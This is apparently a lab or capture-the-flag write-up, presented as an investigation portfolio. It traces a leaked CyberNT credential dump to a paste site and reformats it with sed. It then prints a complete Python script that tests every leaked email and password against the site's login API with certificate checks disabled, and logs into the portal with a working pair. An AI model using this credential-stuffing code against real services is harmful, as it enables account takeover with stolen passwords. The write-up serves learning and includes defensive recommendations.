All investigations
Case 06 Application & Data Credential Leak & Active Account Detection

Oh My Data

A breached credentials dump for CyberNT was reported, but the real question — which accounts were still active after the leak — was unanswered. OSINT traced the leak to a paste site. The raw credential format was reshaped through a Bash sed pipeline into machine-readable input. The login API was reverse-engineered from browser DevTools to capture the exact POST schema. The credential-testing tool was built in Python stdlib only, with no external dependencies, so it could run in an operationally restricted environment.

Executive Summary

CyberNT disclosed a credential leak but had no visibility into which accounts in the leaked set remained active and exploitable. The analyst role was to locate the leak, validate the credentials against the live authentication surface, and identify accounts that were still compromised — answering the actual operational question, not just confirming the leak existed.

The leak was traced through OSINT to a Stikked paste site linked from the organization's own "Data Leaks" forum post. The raw dump used a human-readable email -- password format that was not directly consumable by automation. A single sed expression reshaped it to the conventional email:password combo list. Browser DevTools inspection of the login flow surfaced the exact POST endpoint, headers, and JSON body schema the application expected — including the non-standard pass key (not password) and the string marker "Sorry <user>, your account has been disabled" that distinguished valid-but-disabled accounts from valid-and-active ones.

The credential-testing tool was built using only http.client, json, and ssl from the Python standard library. No requests. No pip install. This constraint was deliberate — it meant the tool would run in any environment that had Python, regardless of package-install permissions. The script identified accounts that still authenticated successfully, confirming active compromise post-leak.

Findings & Analysis

Leak source identified
Stikked paste site
(linked from cybernt-labs.com)
Traced via the organization's own Posts → Data Leaks forum thread. The post linked to a paste site; searching the paste site for cyber surfaced the dump file named CyberNT leaked passwords.
Credential format mismatch
email -- password
(not machine-readable)
The raw dump used a space-and-double-dash separator intended for human reading. Any automation pass had to normalize it first. Solved with a single sed 's/ -- */:/g' expression into conventional email:password combo format.
Authentication endpoint
POST /api/login
Content-Type: application/json
Reverse-engineered from browser DevTools. The body schema used the non-standard key pass (not password) — a detail that would break any generic credential-testing script that assumed the conventional key name.
Disabled-account marker
"Sorry <user>, your account
has been disabled"
Response-body string that indicated the credentials were valid but the account had been disabled post-leak. Presence of this string = disabled; absence = active, still-compromised account. This distinction was the operational answer the case was asked to produce.
Active accounts detected
results.txt
(valid, post-leak authentications)
Output of the credential-testing script. Accounts that authenticated successfully without the disabled-account marker were written to results.txt as confirmed active compromises. These are the IOCs the organization needed to prioritize for rotation or disabling.
Operational reference
  • Leak host: Stikked paste site (linked from cybernt-labs.com)
  • Normalized input: combos.txt (email:password format)
  • Target endpoint: https://cybernt-labs.com/api/login (POST, JSON)
  • Body schema: { "email": "...", "pass": "..." }
  • Disabled marker: response contains "Sorry"
  • Output: results.txt (confirmed-active compromised credentials)

Tools & Technologies

OSINT workflow
Traced the leak from the organization's own disclosure post to the paste-site host. OSINT as a discipline, not a tool — the workflow was public-source pivot chaining, starting from the disclosure surface and landing on the raw dump.
Bash + sed
Single-expression reformat of the raw dump into machine-readable combos. sed 's/ -- */:/g' handles the idiosyncratic separator without requiring a general-purpose parser.
Browser DevTools
Network-tab inspection of the real login flow to capture the exact POST schema, headers, and response-body markers. DevTools is the authoritative source for how the application actually behaves — any assumption about the API that wasn't verified here was a risk of silent failure in the tester.
Python 3 (stdlib only)
Credential-testing tool built with http.client, json, and ssl. No requests, no external packages. The constraint forced closer engagement with the HTTP layer and produced a tool that runs in any environment with Python installed.
ssl._create_unverified_context()
Used to bypass certificate validation in the controlled lab environment. A deliberate constraint — never appropriate in production, documented here as a lab-only decision.

Investigation Process

Six steps. The defining move was not any one command — it was deciding, after the DevTools inspection, to build the credential tester in stdlib only rather than reach for requests or an existing framework. That choice is what made the tool portable.

Step 01 OSINT — locate the leaked credentials Dump retrieved
# Starting surface: cybernt-labs.com → Posts → Data Leaks # Followed the linked Stikked paste site # Searched for: cyber # Retrieved: CyberNT leaked passwords → saved as Leak.txt

Why: Start from the disclosure surface and pivot outward. The organization's own "Data Leaks" post was the shortest path to the actual dump — faster and less noisy than searching paste aggregators blindly. Saving the file locally under a known name keeps the evidence chain auditable.

Step 02 Normalize the credential format combos.txt written
sed 's/ -- */:/g' Leak.txt > combos.txt

Why: The raw dump used email -- password, which is human-readable but not consumable by automation that expects the standard email:password combo format. A single sed substitution with a trailing-space tolerance (' -- *') handles format variation without writing a parser. Output redirected to a new file preserves the original for audit.

Step 03 Inspect the login flow in DevTools Schema captured
# Browser DevTools → Network tab # Submitted a test login, captured the POST request POST https://cybernt-labs.com/api/login Content-Type: application/json Body: { "email": "user@cybernt.com", "pass": "password123" } Failure response contains: "Sorry <user>, your account has been disabled"

Why: Never guess an API schema. The application uses pass, not password — a detail that would silently break any generic credential-testing script that assumed the conventional key. The response-body marker "Sorry" is the signal that separates disabled from active accounts; capturing it here, before writing any code, is what makes the detection logic correct on the first run.

Build decision — stdlib only

The obvious move after DevTools is to reach for requests and have the tool running in ten lines. The decision here was to not do that — to build the credential tester using only http.client, json, and ssl from the Python standard library. That means no pip install, no dependency surface, no package-manager permissions required. The tool will run in any environment that has Python, which is the actual operational constraint a credential-validation tool needs to meet when it's going to be used on arbitrary analyst machines. The cost is extra lines; the benefit is portability. For a tool whose purpose is to run wherever the next incident happens, the trade is obviously right.

Step 04 Develop the credential-testing script stdlib only
import http.client import json import ssl host = "cybernt-labs.com" endpoint = "/api/login" headers = { "Content-Type": "application/json", "User-Agent": "PythonClient" } ssl_context = ssl._create_unverified_context() with open("combos.txt", "r") as f: for line in f: if ':' not in line: continue email, password = line.strip().split(":", 1) payload = json.dumps({"email": email, "pass": password}) try: conn = http.client.HTTPSConnection(host, context=ssl_context) conn.request("POST", endpoint, body=payload, headers=headers) res = conn.getresponse() body = res.read().decode() if "Sorry" not in body: print(f"[+] VALID: {email}:{password}") with open("results.txt", "a") as out: out.write(f"{email}:{password}\n") else: print(f"[-] Disabled: {email}:{password}") conn.close() except Exception as e: print(f"[!] Error with {email}: {str(e)}")

Why: Every design choice is explicit. split(":", 1) handles passwords containing colons without breaking on them. The "Sorry" not in body check matches the exact marker captured in DevTools — not a guess, not a status-code heuristic, the actual string the application returns. Valid hits are both printed (for live feedback) and appended to results.txt (for durable output). The try/except around the request isolates network failures from credential logic so one bad row doesn't abort the run.

Step 05 Execute and collect results Active accounts identified
python3 brute_force_builtin.py

Why: Run the tester against the normalized combo list. Each credential prints its status ([+] VALID or [-] Disabled) for live triage, and confirmed-active credentials append to results.txt. The output is immediately usable as a prioritized list of accounts for rotation or disabling.

Step 06 Validate with captured credentials Access confirmed
# Logged in manually with one of the confirmed-active pairs # Reached the CyberNT internal portal # Retrieved the challenge flag

Why: End-to-end validation. The tester identified credentials the API accepted — confirming full login through the application proves the accepted credentials actually grant portal access, not just a positive authentication response. This closes the loop on the operational question: yes, accounts remain compromised post-leak.

Recommendations

Rotate, don't just disable — and verify
A credential leak is not resolved by disabling the accounts flagged in the dump. Accounts that remain active after the leak must be rotated (forced password reset, session invalidation) and then re-validated against the same credential list to confirm the old credentials no longer authenticate. Disabling alone leaves an attack surface if the disabled state is reversible by any internal process.
Capture the exact API schema before writing detection tooling
Credential-testing tools that assume conventional key names (password, username) and conventional response patterns (HTTP 401, generic error bodies) will silently fail against real applications that deviate from those conventions. DevTools is the authoritative source; using it first saves debugging cycles later.
Build portable tooling by default
Security tools written with the standard library alone are deployable in any environment that has the runtime, without package-manager permissions or dependency-resolution failures. For tools whose purpose is to run wherever the next incident lands, the portability is worth the additional lines of code. Reach for frameworks only when the functionality they provide is not reasonably achievable with the stdlib.
Monitor organization's own disclosure channels
The leak in this case was linked from the organization's own "Data Leaks" forum post — a surface the organization controls but may not be actively monitoring for external pivots. Any published disclosure becomes an OSINT entry point; the same attention paid to external leak indexes should be paid to internal channels that link to them.
Never bypass certificate validation outside controlled labs
ssl._create_unverified_context() was used here for the controlled lab environment and should be documented as such. In any production credential-validation context, certificate verification must be enabled — a MITM against the validation tool itself could harvest every credential it tests.

Technical Note

Why stdlib-only matters for credential tooling

The design decision that defines this case is refusing to use requests. That choice makes the credential tester operate at the raw http.client level — constructing the HTTPS connection, forming the JSON body, reading the response, all explicitly. There is no magic. Every behavior the tool exhibits is visible in the forty lines of code that produce it.

The operational consequence is portability. The tool has no pip dependencies. It runs in any environment with a Python 3 interpreter — including locked-down analyst workstations, customer-premises boxes under change control, and air-gapped lab images where package installation is blocked. A credential-validation tool that needs to install requests before it can run is a credential-validation tool that does not run when you need it most.

The secondary consequence is defensibility. A stdlib-only tool has a trivially small supply-chain attack surface. There is no transitive dependency graph, no version-pin drift, no typosquatting package risk. For security tooling specifically, that matters: a credential tester that has been compromised via an upstream package is a credential harvester.

References

  1. Python http.client documentation. Standard-library HTTP client used to construct and send the credential-validation requests without external dependencies. docs.python.org
  2. OWASP Credential Stuffing Prevention Cheat Sheet. Defender-side guidance for detecting and mitigating the attack class this case validates from the analyst side. cheatsheetseries.owasp.org
  3. NIST SP 800-63B — Digital Identity Guidelines. Authoritative guidance on credential lifecycle including rotation requirements following known compromise. nist.gov